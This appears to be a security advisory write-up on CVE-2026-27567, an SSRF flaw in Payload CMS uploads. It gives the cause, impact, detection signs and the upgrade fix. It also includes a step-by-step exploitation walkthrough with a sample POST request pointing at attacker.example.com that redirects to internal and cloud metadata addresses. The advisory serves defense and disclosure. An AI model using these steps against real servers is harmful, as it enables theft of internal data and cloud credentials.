CVE-2026-27567: 
JavaScript vulnerability analysis and mitigation

CVE-2026-27567 is a Server-Side Request Forgery (SSRF) vulnerability in Payload CMS's external file upload functionality, affecting all versions prior to 3.75.0 of the payload npm package. The flaw arises from insufficient validation of HTTP redirects when processing external URLs for file uploads, potentially allowing an authenticated attacker to access internal network resources. It was disclosed on February 23, 2026, via a GitHub Security Advisory, and published to the NVD on February 24, 2026. The CVSS v3.1 base score is 6.5 (Medium/Moderate) per the GitHub Advisory Database (Github Advisory, Payload Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): when Payload CMS processes an external URL for a file upload, it previously followed HTTP 3xx redirects automatically without re-validating the redirect destination against its security allowlist. This meant an attacker could supply a publicly accessible URL that redirects to an internal service (e.g., http://127.0.0.1:<port>/secret), bypassing the URL validation that only ran on the initial URL. The fix (commit 1041bb6) adds redirect: 'manual' to safeFetch(), manually handles redirects with re-validation at each step, and caps redirects at a maximum of 3 to prevent infinite loops (Payload Advisory, Patch Commit). Exploitation requires the attacker to be authenticated and have create access to at least one upload-enabled collection.

An authenticated attacker with write permissions to an upload-enabled collection can cause the Payload CMS server to make HTTP requests to internal network resources that would otherwise be inaccessible from the internet. Response content from those internal services (e.g., metadata endpoints, internal APIs, cloud provider instance metadata services) can be retrieved through the application, leading to potential data exfiltration and unauthorized disclosure of sensitive information. Availability is not impacted, but both confidentiality and integrity of internal resources are at risk (Github Advisory, Payload Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.011% (1st percentile), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for an authenticated account with specific upload collection create permissions, significantly limiting the attacker pool.

1. Gain authenticated access: Obtain credentials for a Payload CMS account that has create access to at least one upload-enabled collection (e.g., a media or files collection).
2. Set up a redirect server: Host a publicly accessible HTTP server (the "attacker server") that responds to requests with a 302/301 redirect pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/ for cloud instance metadata, or http://127.0.0.1:<port>/secret for a local service).
3. Trigger the external file upload: Authenticate to the Payload CMS API and submit a POST request to the upload-enabled collection endpoint, providing the attacker-controlled URL as the file source:

   POST /api/<upload-collection>
   { "url": "http://attacker.example.com/redirect", "filename": "malicious.jpg" }

4. Exploit the redirect: The Payload server fetches the attacker URL, receives the 3xx redirect, and (in vulnerable versions) automatically follows it to the internal target without re-validating the destination URL.
5. Retrieve internal response: The response body from the internal service is processed by Payload and may be accessible through the application's response or stored as the uploaded file content, enabling data exfiltration (Payload Advisory, Patch Commit).

• Network: Outbound HTTP requests from the Payload CMS server to internal IP ranges (e.g., 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254) originating from the Node.js process; HTTP requests to cloud metadata endpoints (e.g., 169.254.169.254).
• Logs: Payload CMS application logs showing file upload requests with external URLs that result in redirect chains to internal addresses; HTTP access logs on internal services showing unexpected requests from the Payload server's IP.
• Application Behavior: Upload records in the CMS database where the stored file content appears to be text/plain or JSON rather than the expected media type (e.g., image/png), potentially indicating retrieval of internal service responses instead of legitimate files.

Upgrade the payload npm package to version 3.75.0 or later, which includes the fix that adds redirect validation and a maximum redirect limit of 3 (Payload Release, Patch Commit). If an immediate upgrade is not possible, apply one or both of the following workarounds:

• Set the disableExternalFile: true option on all upload-enabled collections to prevent external URL file uploads entirely.
• Restrict create access on upload-enabled collections to only fully trusted users, reducing the attacker surface (Payload Advisory).

The vulnerability was responsibly disclosed by security researcher r3dbrothers (credited as r3dbrothers1 in the patch commit), and the Payload CMS maintainer denolfe published the advisory and patch promptly (Payload Advisory, Patch Commit). No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability database indexing.